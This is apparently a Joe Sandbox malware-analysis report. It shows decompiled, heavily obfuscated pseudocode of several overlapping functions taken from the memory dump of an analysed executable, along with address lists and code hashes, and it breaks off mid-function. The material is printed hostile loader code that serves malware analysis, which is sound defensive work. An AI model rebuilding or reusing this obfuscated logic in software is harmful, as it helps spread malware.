			E00402A68(void* __ebx, void* __edi, intOrPtr* __esi, void* __eflags, void* __fp0) {
				void* _t42;
				signed int _t45;
				void* _t48;
				void* _t51;
				void* _t54;
				void* _t56;
				void* _t60;
				void* _t61;
				void* _t66;
				void* _t67;
				void* _t72;
				void* _t73;
				signed int _t90;
				signed int* _t113;
				void* _t118;
				void* _t121;
				void* _t124;
				signed int _t127;
				void* _t129;
				signed int _t130;
				void* _t132;
				intOrPtr* _t133;
				void* _t134;
				void* _t138;
				signed int _t139;
				signed int _t140;
				void* _t153;
				void* _t160;
				signed long long _t162;

				_t160 = __fp0;
				_t133 = __esi;
				_t129 = __edi;
				_t121 = 0x9d;
				_t42 = E00401277(0x2a84, __ebx, __edi, __esi, _t134, __eflags);
				_pop(_t66);
				 *(_t66 + 0x3e) =  *(_t66 + 0x3e) ^ 0x00000012;
				_pop(_t67);
				 *((intOrPtr*)(_t67 + 0x35)) =  *((intOrPtr*)(_t67 + 0x35)) - _t67;
				asm("aaa");
				_t72 = 0x5b5b695b;
				 *((intOrPtr*)(_t72 + 0x3e)) =  *((intOrPtr*)(_t72 + 0x3e)) - 0x12;
				_pop(_t73);
				 *((intOrPtr*)(_t73 + 0x68)) =  *((intOrPtr*)(_t73 + 0x68)) - _t73;
				asm("aaa");
				asm("aaa");
				_t90 = 0x5b5b695b;
				asm("das");
				_t139 = _t138 - 1;
				_t45 = _t42 - 0x2b5b3a5b + 0xdbb726d6 | 0xb3a72ea4;
				_t135 = 0xdea4a4a7;
				asm("wait");
				_push(_t139);
				asm("fild word [eax-0xfa4a4a6]");
				asm("fcomp dword [ebp-0x4f404fb7]");
				_push(_t133);
				_t130 = _t129 -  *0xFFFFFFFFDEA4A4EF;
				_t147 = _t90 ^ _t130;
				if((_t90 ^ _t130) < 0) {
					_pop(_t113);
					_t133 = _t133 +  *((intOrPtr*)(_t45 - 0x4fd534a2));
					asm("scasd");
					asm("salc");
					_t135 = 0xdea4a4a7 - _t130;
					asm("int3");
					 *_t113 =  *_t113 ^ 0xffffffc6;
					asm("rcl byte [edi+0x7f], 1");
					asm("fcomp dword [edi-0x33a14fa1]");
					_t118 = 0xffffffb0;
					asm("movsd");
					asm("clc");
					_t60 = 0xffffffffb19799b2 -  *((intOrPtr*)(0xffffffffb19799b2));
					 *((intOrPtr*)(_t60 - 0x15)) =  *((intOrPtr*)(_t60 - 0x15)) + _t118;
					_t61 = _t60 + 0xf4eb4097;
					asm("movsd");
					_t121 = 0x9a;
					_t45 = E00401277(_t61, _t118, _t130, _t133, _t135, _t147);
					asm("salc");
					asm("fcom dword [esi+0x6b]");
					_t139 = 0x10eba4a4 |  *(_t133 + 0xffffffff8543585e);
				}
				asm("sahf");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a39df54]");
				asm("salc");
				_t140 = _t139 |  *(_t133 + _t135 - 0x590a4c55);
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a10df54]");
				asm("movsb");
				asm("cs cmpsd");
				_push(_t140);
				asm("fisub word [eax+0x5a]");
				asm("salc");
				_t162 = (_t160 -  *0x000000F7) *  *0x8c;
				asm("movsb");
				asm("scasd");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a7fdf54]");
				do {
					_pop(_t127);
					asm("salc");
					_t162 = _t162 +  *_t133;
					asm("movsb");
					 *[cs:0xa4a62bb3] = _t45;
					asm("movsb");
					asm("ficomp word [ebx+0x5a56df54]");
					_t45 = 0x49;
					_t128 = _t127 ^  *0xd05b5b70;
				} while ((_t127 ^  *0xd05b5b70) > 0);
				asm("lahf");
				_pop(_t132);
				asm("fst qword [eax-0x4f074b50]");
				_push(_t133);
				_t153 = _t121 + 1;
				asm("adc dh, [eax-0x2b4c1752]");
				_push(ss);
				gs =  *0x0000007A;
				_push(0x2c1c);
				_t48 =  *_t140;
				asm("adc ch, [edi-0x40]");
				_push(0xab);
				E00401277(_t48, 0x688e1679, _t132, _t133, 0x13eba4a4, _t153);
				_push( *0x13EBA4A0);
				E004019D4();
				_push(0x688e46de);
				_push( *((intOrPtr*)(0x13eba4a0)));
				_t51 = E004025E8(_t132, _t133, _t153); // executed
				_t154 = _t51;
				if(_t51 != 0) {
					if(E00401F34(_t132, _t154,  *((intOrPtr*)(0x13eba4a0))) != 0) {
						L25:
						_t159 = gs;
						if(gs != 0) {
							_t54 = 0x688e6ab7;
							_t124 = 0x2ef8;
						} else {
							_t54 = 0x688e471e;
							_t124 = 0x2399;
						}
						_push( *0x688E99AF);
						_push(_t124);
						_push(_t54);
						_push( *((intOrPtr*)(0x13eba4a0)));
						E0040193B(_t128, _t159);
						_t56 = 0x2c1c;
						_t51 = E00401277(_t56, 0x688e1679, _t132, _t133, 0x13eba4a4, _t159);
					} else {
						_t51 = E00402255(_t162,  *((intOrPtr*)(0x13eba4a0)));
						_t156 = _t51;
						if(_t51 != 0) {
							_push( *((intOrPtr*)(0x13eba4a0)));
							_t51 = L00402321(0x688e1679, _t132, _t133, _t156, _t162);
							_t157 = _t51;
							if(_t51 != 0) {
								_t51 = E00401FF1(_t157, _t162,  *((intOrPtr*)(0x13eba4a0)));
								if(_t51 != 0) {
									goto L25;
								}
							}
						}
					}
				}
				return _t51;
			}

0x00402a68
0x00402a68
0x00402a68
0x00402a73
0x00402a7f
0x00402a88
0x00402a89
0x00402a8c
0x00402a8d
0x00402a93
0x00402a9b
0x00402a9d
0x00402aa0
0x00402aa1
0x00402ac5
0x00402ac7
0x00402ad7
0x00402ad9
0x00402ada
0x00402adb
0x00402ae0
0x00402ae5
0x00402ae6
0x00402ae7
0x00402aed
0x00402af3
0x00402af4
0x00402af7
0x00402af9
0x00402afb
0x00402afc
0x00402b02
0x00402b03
0x00402b06
0x00402b08
0x00402b09
0x00402b0f
0x00402b12
0x00402b23
0x00402b24
0x00402b25
0x00402b2b
0x00402b2d
0x00402b30
0x00402b35
0x00402b3d
0x00402b49
0x00402b4e
0x00402b4f
0x00402b54
0x00402b54
0x00402b59
0x00402b5a
0x00402b5b
0x00402b5c
0x00402b5d
0x00402b65
0x00402b6b
0x00402b72
0x00402b73
0x00402b74
0x00402b7c
0x00402b7d
0x00402b86
0x00402b87
0x00402b8c
0x00402b8d
0x00402b93
0x00402b94
0x00402b98
0x00402b99
0x00402b9a
0x00402b9b
0x00402ba0
0x00402ba0
0x00402ba3
0x00402ba4
0x00402baa
0x00402bab
0x00402bb1
0x00402bb2
0x00402bba
0x00402bbf
0x00402bc5
0x00402bc8
0x00402bc9
0x00402bcc
0x00402bd2
0x00402bde
0x00402bdf
0x00402bec
0x00402bed
0x00402bee
0x00402bf3
0x00402c01
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c2a
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c8b
0x00402c91
0x00402c92
0x00402c93
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 00000010.00000002.436617124.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_9460.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5ce9d8f38c6a1832c1f617ca6f2b2dbab99815177e54b5282bbfeaab51e76cd
Instruction ID: 82ad2b52174684eab274c82477a3a8af7fb59672a5e0ddff72ba5353dc29b957
Opcode Fuzzy Hash: e5ce9d8f38c6a1832c1f617ca6f2b2dbab99815177e54b5282bbfeaab51e76cd
Instruction Fuzzy Hash: 11514332109101DEEB00AE64AFDA9AAF764FF15378B3001B7DC416E1E6C37B5646DA1A

Uniqueness

Uniqueness Score: -1.00%

Function 00402A6C, Relevance: .2, Instructions: 216
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 34%

			E00402A6C(unsigned int __ebx, signed int* __edx, void* __edi, intOrPtr* __esi, void* __fp0) {
				void* _t41;
				void* _t42;
				signed int _t45;
				void* _t48;
				void* _t51;
				void* _t54;
				void* _t56;
				void* _t60;
				void* _t61;
				void* _t67;
				void* _t68;
				void* _t73;
				void* _t74;
				signed int _t91;
				signed int* _t114;
				void* _t119;
				void* _t122;
				void* _t125;
				signed int* _t127;
				signed int _t128;
				void* _t130;
				signed int _t131;
				void* _t133;
				intOrPtr* _t134;
				void* _t135;
				void* _t139;
				signed int _t140;
				signed int _t141;
				unsigned int _t146;
				void* _t154;
				void* _t161;
				signed long long _t163;

				_t161 = __fp0;
				_t134 = __esi;
				_t130 = __edi;
				_t127 = __edx;
				_t63 = __ebx >> 0xd;
				_t146 = __ebx >> 0xd;
				_t122 = 0x9d;
				_t42 = E00401277(_t41, _t63, __edi, __esi, _t135, _t146);
				_pop(_t67);
				 *(_t67 + 0x3e) =  *(_t67 + 0x3e) ^ 0x00000012;
				_pop(_t68);
				 *((intOrPtr*)(_t68 + 0x35)) =  *((intOrPtr*)(_t68 + 0x35)) - _t68;
				asm("aaa");
				_t73 = 0x5b5b695b;
				 *((intOrPtr*)(_t73 + 0x3e)) =  *((intOrPtr*)(_t73 + 0x3e)) - 0x12;
				_pop(_t74);
				 *((intOrPtr*)(_t74 + 0x68)) =  *((intOrPtr*)(_t74 + 0x68)) - _t74;
				asm("aaa");
				asm("aaa");
				_t91 = 0x5b5b695b;
				asm("das");
				_t140 = _t139 - 1;
				_t45 = _t42 - 0x2b5b3a5b + 0xdbb726d6 | 0xb3a72ea4;
				_t136 = 0xdea4a4a7;
				asm("wait");
				_push(_t140);
				asm("fild word [eax-0xfa4a4a6]");
				asm("fcomp dword [ebp-0x4f404fb7]");
				_push(_t134);
				_t131 = _t130 -  *0xFFFFFFFFDEA4A4EF;
				_t148 = _t91 ^ _t131;
				if((_t91 ^ _t131) < 0) {
					_pop(_t114);
					_t134 = _t134 +  *((intOrPtr*)(_t45 - 0x4fd534a2));
					asm("scasd");
					asm("salc");
					_t136 = 0xdea4a4a7 - _t131;
					asm("int3");
					 *_t114 =  *_t114 ^ 0xffffffc6;
					asm("rcl byte [edi+0x7f], 1");
					asm("fcomp dword [edi-0x33a14fa1]");
					_t119 = 0xffffffb0;
					asm("movsd");
					asm("clc");
					_t60 = 0xffffffffb19799b2 -  *((intOrPtr*)(0xffffffffb19799b2));
					 *((intOrPtr*)(_t60 - 0x15)) =  *((intOrPtr*)(_t60 - 0x15)) + _t119;
					_t61 = _t60 + 0xf4eb4097;
					asm("movsd");
					_t122 = 0x9a;
					_t45 = E00401277(_t61, _t119, _t131, _t134, _t136, _t148);
					asm("salc");
					asm("fcom dword [esi+0x6b]");
					_t140 = 0x10eba4a4 |  *(_t134 + 0xffffffff8543585e);
				}
				asm("sahf");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a39df54]");
				asm("salc");
				_t141 = _t140 |  *(_t134 + _t136 - 0x590a4c55);
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a10df54]");
				asm("movsb");
				asm("cs cmpsd");
				_push(_t141);
				asm("fisub word [eax+0x5a]");
				asm("salc");
				_t163 = (_t161 - _t127[0x1a]) *  *_t127;
				asm("movsb");
				asm("scasd");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a7fdf54]");
				do {
					_pop(_t128);
					asm("salc");
					_t163 = _t163 +  *_t134;
					asm("movsb");
					 *[cs:0xa4a62bb3] = _t45;
					asm("movsb");
					asm("ficomp word [ebx+0x5a56df54]");
					_t45 = 0x49;
					_t129 = _t128 ^  *0xd05b5b70;
				} while ((_t128 ^  *0xd05b5b70) > 0);
				asm("lahf");
				_pop(_t133);
				asm("fst qword [eax-0x4f074b50]");
				_push(_t134);
				_t154 = _t122 + 1;
				asm("adc dh, [eax-0x2b4c1752]");
				_push(ss);
				gs =  *0x0000007A;
				_push(0x2c1c);
				_t48 =  *_t141;
				asm("adc ch, [edi-0x40]");
				_push(0xab);
				E00401277(_t48, 0x688e1679, _t133, _t134, 0x13eba4a4, _t154);
				_push( *0x13EBA4A0);
				E004019D4();
				_push(0x688e46de);
				_push( *((intOrPtr*)(0x13eba4a0)));
				_t51 = E004025E8(_t133, _t134, _t154); // executed
				_t155 = _t51;
				if(_t51 != 0) {
					if(E00401F34(_t133, _t155,  *((intOrPtr*)(0x13eba4a0))) != 0) {
						L23:
						_t160 = gs;
						if(gs != 0) {
							_t54 = 0x688e6ab7;
							_t125 = 0x2ef8;
						} else {
							_t54 = 0x688e471e;
							_t125 = 0x2399;
						}
						_push( *0x688E99AF);
						_push(_t125);
						_push(_t54);
						_push( *((intOrPtr*)(0x13eba4a0)));
						E0040193B(_t129, _t160);
						_t56 = 0x2c1c;
						_t51 = E00401277(_t56, 0x688e1679, _t133, _t134, 0x13eba4a4, _t160);
					} else {
						_t51 = E00402255(_t163,  *((intOrPtr*)(0x13eba4a0)));
						_t157 = _t51;
						if(_t51 != 0) {
							_push( *((intOrPtr*)(0x13eba4a0)));
							_t51 = L00402321(0x688e1679, _t133, _t134, _t157, _t163);
							_t158 = _t51;
							if(_t51 != 0) {
								_t51 = E00401FF1(_t158, _t163,  *((intOrPtr*)(0x13eba4a0)));
								if(_t51 != 0) {
									goto L23;
								}
							}
						}
					}
				}
				return _t51;
			}

0x00402a6c
0x00402a6c
0x00402a6c
0x00402a6c
0x00402a6c
0x00402a6c
0x00402a73
0x00402a7f
0x00402a88
0x00402a89
0x00402a8c
0x00402a8d
0x00402a93
0x00402a9b
0x00402a9d
0x00402aa0
0x00402aa1
0x00402ac5
0x00402ac7
0x00402ad7
0x00402ad9
0x00402ada
0x00402adb
0x00402ae0
0x00402ae5
0x00402ae6
0x00402ae7
0x00402aed
0x00402af3
0x00402af4
0x00402af7
0x00402af9
0x00402afb
0x00402afc
0x00402b02
0x00402b03
0x00402b06
0x00402b08
0x00402b09
0x00402b0f
0x00402b12
0x00402b23
0x00402b24
0x00402b25
0x00402b2b
0x00402b2d
0x00402b30
0x00402b35
0x00402b3d
0x00402b49
0x00402b4e
0x00402b4f
0x00402b54
0x00402b54
0x00402b59
0x00402b5a
0x00402b5b
0x00402b5c
0x00402b5d
0x00402b65
0x00402b6b
0x00402b72
0x00402b73
0x00402b74
0x00402b7c
0x00402b7d
0x00402b86
0x00402b87
0x00402b8c
0x00402b8d
0x00402b93
0x00402b94
0x00402b98
0x00402b99
0x00402b9a
0x00402b9b
0x00402ba0
0x00402ba0
0x00402ba3
0x00402ba4
0x00402baa
0x00402bab
0x00402bb1
0x00402bb2
0x00402bba
0x00402bbf
0x00402bc5
0x00402bc8
0x00402bc9
0x00402bcc
0x00402bd2
0x00402bde
0x00402bdf
0x00402bec
0x00402bed
0x00402bee
0x00402bf3
0x00402c01
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c2a
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c8b
0x00402c91
0x00402c92
0x00402c93
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 00000010.00000002.436617124.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_9460.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5eb334b091ada3894d7bc2550cdcc7fd4771e28d89526815cda72f1da41a8dec
Instruction ID: ac3f9a48b8241fa4787baba6bb88e996d90e4b1d5655853c31ab7ffc92292063
Opcode Fuzzy Hash: 5eb334b091ada3894d7bc2550cdcc7fd4771e28d89526815cda72f1da41a8dec
Instruction Fuzzy Hash: 6251543200A101DFEB00AF64AEDA5AAFB64FF15378B3401A7DC416E1E2D37B5642DA56

Uniqueness

Uniqueness Score: -1.00%

Function 00402B38, Relevance: .1, Instructions: 135
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 30%

			E00402B38(signed int* __edx, void* __edi, intOrPtr* __esi, void* __fp0) {
				void* _t25;
				intOrPtr _t26;
				void* _t29;
				void* _t32;
				void* _t35;
				void* _t37;
				void* _t65;
				signed int* _t67;
				signed int _t68;
				void* _t73;
				intOrPtr* _t74;
				void* _t75;
				signed int _t78;
				signed int _t79;
				signed int _t80;
				void* _t84;
				signed long long _t99;

				_t74 = __esi;
				_t67 = __edx;
				_t71 = __edi + 1;
				_t84 = __edi + 1;
				asm("das");
				asm("a16 scasb");
				_t26 = E00401277(_t25, 0x9ab9, _t71, __esi, _t75, _t84);
				asm("salc");
				asm("fcom dword [esi+0x6b]");
				_t79 = _t78 |  *(_t74 + _t75 - 0x59614c49);
				asm("sahf");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a39df54]");
				asm("salc");
				_t80 = _t79 |  *(_t74 + _t75 - 0x590a4c55);
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a10df54]");
				asm("movsb");
				asm("cs cmpsd");
				_push(_t80);
				asm("fisub word [eax+0x5a]");
				asm("salc");
				_t99 = (__fp0 - _t67[0x1a]) *  *_t67;
				asm("movsb");
				asm("scasd");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a7fdf54]");
				do {
					_pop(_t68);
					asm("salc");
					_t99 = _t99 +  *_t74;
					asm("movsb");
					 *[cs:0xa4a62bb3] = _t26;
					asm("movsb");
					asm("ficomp word [ebx+0x5a56df54]");
					_t26 = 0x49;
					_t69 = _t68 ^  *0xd05b5b70;
				} while ((_t68 ^  *0xd05b5b70) > 0);
				asm("lahf");
				_pop(_t73);
				asm("fst qword [eax-0x4f074b50]");
				_push(_t74);
				asm("adc dh, [eax-0x2b4c1752]");
				_push(ss);
				gs =  *0x0000007A;
				_push(0x2c1c);
				_t29 =  *_t80;
				asm("adc ch, [edi-0x40]");
				_push(0xab);
				E00401277(_t29, 0x688e1679, _t73, _t74, 0x13eba4a4, 0x9b);
				_push( *0x13EBA4A0);
				E004019D4();
				_push(0x688e46de);
				_push( *((intOrPtr*)(0x13eba4a0)));
				_t32 = E004025E8(_t73, _t74, 0x9b); // executed
				_t91 = _t32;
				if(_t32 != 0) {
					if(E00401F34(_t73, _t91,  *((intOrPtr*)(0x13eba4a0))) != 0) {
						L17:
						_t96 = gs;
						if(gs != 0) {
							_t35 = 0x688e6ab7;
							_t65 = 0x2ef8;
						} else {
							_t35 = 0x688e471e;
							_t65 = 0x2399;
						}
						_push( *0x688E99AF);
						_push(_t65);
						_push(_t35);
						_push( *((intOrPtr*)(0x13eba4a0)));
						E0040193B(_t69, _t96);
						_t37 = 0x2c1c;
						_t32 = E00401277(_t37, 0x688e1679, _t73, _t74, 0x13eba4a4, _t96);
					} else {
						_t32 = E00402255(_t99,  *((intOrPtr*)(0x13eba4a0)));
						_t93 = _t32;
						if(_t32 != 0) {
							_push( *((intOrPtr*)(0x13eba4a0)));
							_t32 = L00402321(0x688e1679, _t73, _t74, _t93, _t99);
							_t94 = _t32;
							if(_t32 != 0) {
								_t32 = E00401FF1(_t94, _t99,  *((intOrPtr*)(0x13eba4a0)));
								if(_t32 != 0) {
									goto L17;
								}
							}
						}
					}
				}
				return _t32;
			}

0x00402b38
0x00402b38
0x00402b38
0x00402b38
0x00402b39
0x00402b3a
0x00402b49
0x00402b4e
0x00402b4f
0x00402b54
0x00402b59
0x00402b5a
0x00402b5b
0x00402b5c
0x00402b5d
0x00402b65
0x00402b6b
0x00402b72
0x00402b73
0x00402b74
0x00402b7c
0x00402b7d
0x00402b86
0x00402b87
0x00402b8c
0x00402b8d
0x00402b93
0x00402b94
0x00402b98
0x00402b99
0x00402b9a
0x00402b9b
0x00402ba0
0x00402ba0
0x00402ba3
0x00402ba4
0x00402baa
0x00402bab
0x00402bb1
0x00402bb2
0x00402bba
0x00402bbf
0x00402bc5
0x00402bc8
0x00402bc9
0x00402bcc
0x00402bd2
0x00402bdf
0x00402bec
0x00402bed
0x00402bee
0x00402bf3
0x00402c01
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c2a
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c8b
0x00402c91
0x00402c92
0x00402c93
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 00000010.00000002.436617124.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_9460.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f51a1350f02f31ca673438723fbeaec66e0bac50b46ce53ae83f4c302164230
Instruction ID: 3e85d14ce6c36aa09c03589aa9c8c3521ff663fa5e1e86b555b0dc280717ecfe
Opcode Fuzzy Hash: 2f51a1350f02f31ca673438723fbeaec66e0bac50b46ce53ae83f4c302164230
Instruction Fuzzy Hash: 17412A31109101EFFB01AB51DF8A5AEB775FF19368B2000BBDC417A1D2D77E5A05DA16

Uniqueness

Uniqueness Score: -1.00%

Function 00402BFB, Relevance: .1, Instructions: 60
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 64%

			E00402BFB(void* __ebx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				intOrPtr _t12;
				void* _t15;
				void* _t18;
				void* _t20;
				void* _t21;
				void* _t23;
				void* _t25;
				void* _t28;
				intOrPtr* _t30;

				_t27 = __esi;
				_t26 = __edi;
				_t21 = __ebx;
				asm("adc al, 0x62");
				_push(0x2c1c);
				_t12 =  *_t30;
				asm("adc ch, [edi-0x40]");
				_push(0xab);
				E00401277(_t12, __ebx, __edi, __esi, _t28, __eflags);
				_push( *((intOrPtr*)(_t28 - 4)));
				E004019D4();
				_t2 = _t21 + 0x3065; // 0x688e46de
				_push( *((intOrPtr*)(_t28 - 4)));
				_t15 = E004025E8(_t26, _t27, __eflags); // executed
				_t35 = _t15;
				if(_t15 != 0) {
					if(E00401F34(_t26, _t35,  *((intOrPtr*)(_t28 - 4))) != 0) {
						L11:
						_t40 = gs;
						if(gs != 0) {
							_t9 = _t21 + 0x543e; // 0x688e6ab7
							_t18 = _t9;
							_t23 = 0x2ef8;
						} else {
							_t8 = _t21 + 0x30a5; // 0x688e471e
							_t18 = _t8;
							_t23 = 0x2399;
						}
						_push( *((intOrPtr*)(_t21 + 0x8336)));
						_push(_t23);
						_push(_t18);
						_push( *((intOrPtr*)(_t28 - 4)));
						E0040193B(_t25, _t40);
						_t20 = 0x2c1c;
						_t15 = E00401277(_t20, _t21, _t26, _t27, _t28, _t40);
					} else {
						_t15 = E00402255(__fp0,  *((intOrPtr*)(_t28 - 4)));
						_t37 = _t15;
						if(_t15 != 0) {
							_push( *((intOrPtr*)(_t28 - 4)));
							_t15 = L00402321(__ebx, _t26, _t27, _t37, __fp0);
							_t38 = _t15;
							if(_t15 != 0) {
								_t15 = E00401FF1(_t38, __fp0,  *((intOrPtr*)(_t28 - 4)));
								if(_t15 != 0) {
									goto L11;
								}
							}
						}
					}
				}
				return _t15;
			}

0x00402bfb
0x00402bfb
0x00402bfb
0x00402bfb
0x00402bee
0x00402bf3
0x00402c01
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c24
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c8b
0x00402c91
0x00402c92
0x00402c93
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 00000010.00000002.436617124.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_9460.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a8bd4eca60c59e258f16d0e70a1738de93e05cd34cc8aa36a9a378a6468ebc1
Instruction ID: 52cd7e5ac6ed9cc019fbfcf69bdf72a742899d53516448c63c37d0d49b3bd750
Opcode Fuzzy Hash: 4a8bd4eca60c59e258f16d0e70a1738de93e05cd34cc8aa36a9a378a6468ebc1
Instruction Fuzzy Hash: 7111213050C105EAFF01A6518F5E97E72699F01348F24007BAD42B52E2D7BD9F16B62F

Uniqueness

Uniqueness Score: -1.00%

Function 00402C01, Relevance: .1, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 83%

			E00402C01(void* __ebx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				void* _t12;
				void* _t15;
				void* _t18;
				void* _t20;
				void* _t21;
				void* _t23;
				signed int _t25;
				void* _t28;

				_t27 = __esi;
				_t26 = __edi;
				_t21 = __ebx;
				asm("adc ch, [edi-0x40]");
				_push(0xab);
				E00401277(_t12, __ebx, __edi, __esi, _t28, __eflags);
				_push( *((intOrPtr*)(_t28 - 4)));
				E004019D4();
				_t2 = _t21 + 0x3065; // 0x688e46de
				_push( *((intOrPtr*)(_t28 - 4)));
				_t15 = E004025E8(_t26, _t27, __eflags); // executed
				_t34 = _t15;
				if(_t15 != 0) {
					if(E00401F34(_t26, _t34,  *((intOrPtr*)(_t28 - 4))) != 0) {
						L8:
						_t39 = gs;
						if(gs != 0) {
							_t9 = _t21 + 0x543e; // 0x688e6ab7
							_t18 = _t9;
							_t23 = 0x2ef8;
						} else {
							_t8 = _t21 + 0x30a5; // 0x688e471e
							_t18 = _t8;
							_t23 = 0x2399;
						}
						E0040193B(_t25, _t39,  *((intOrPtr*)(_t28 - 4)), _t18, _t23,  *((intOrPtr*)(_t21 + 0x8336)));
						_t20 = 0x2c1c;
						_t15 = E00401277(_t20, _t21, _t26, _t27, _t28, _t39);
					} else {
						_t15 = E00402255(__fp0,  *((intOrPtr*)(_t28 - 4)));
						_t36 = _t15;
						if(_t15 != 0) {
							_push( *((intOrPtr*)(_t28 - 4)));
							_t15 = L00402321(__ebx, _t26, _t27, _t36, __fp0);
							_t37 = _t15;
							if(_t15 != 0) {
								_t15 = E00401FF1(_t37, __fp0,  *((intOrPtr*)(_t28 - 4)));
								if(_t15 != 0) {
									goto L8;
								}
							}
						}
					}
				}
				return _t15;
			}

0x00402c01
0x00402c01
0x00402c01
0x00402c01
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c24
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 00000010.00000002.436617124.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_9460.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aba60e48e92cb2b09b873d5c8ea28a2240f160238eccea7537a2bd1afc53be07
Instruction ID: 94dd4e34baa45bb6a7d52d13517e1efb42c98130ce2376b8e4646defd1028816
Opcode Fuzzy Hash: aba60e48e92cb2b09b873d5c8ea28a2240f160238eccea7537a2bd1afc53be07
Instruction Fuzzy Hash: D2011220118105F9FF0167528F1A97E75299F01348F24007BAC41B52E2DBBD8F15A62F

Uniqueness

Uniqueness Score: -1.00%

Function 00402C12, Relevance: .1, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 83%

			E00402C12(void* __ebx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				void* _t12;
				void* _t15;
				void* _t18;
				void* _t20;
				void* _t21;
				void* _t23;
				signed int _t25;
				void* _t28;

				_t27 = __esi;
				_t26 = __edi;
				_t21 = __ebx;
				asm("a16 push es");
				_push(0xab);
				E00401277(_t12, __ebx, __edi, __esi, _t28, __eflags);
				_push( *((intOrPtr*)(_t28 - 4)));
				E004019D4();
				_t2 = _t21 + 0x3065; // 0x688e46de
				_push( *((intOrPtr*)(_t28 - 4)));
				_t15 = E004025E8(_t26, _t27, __eflags); // executed
				_t34 = _t15;
				if(_t15 != 0) {
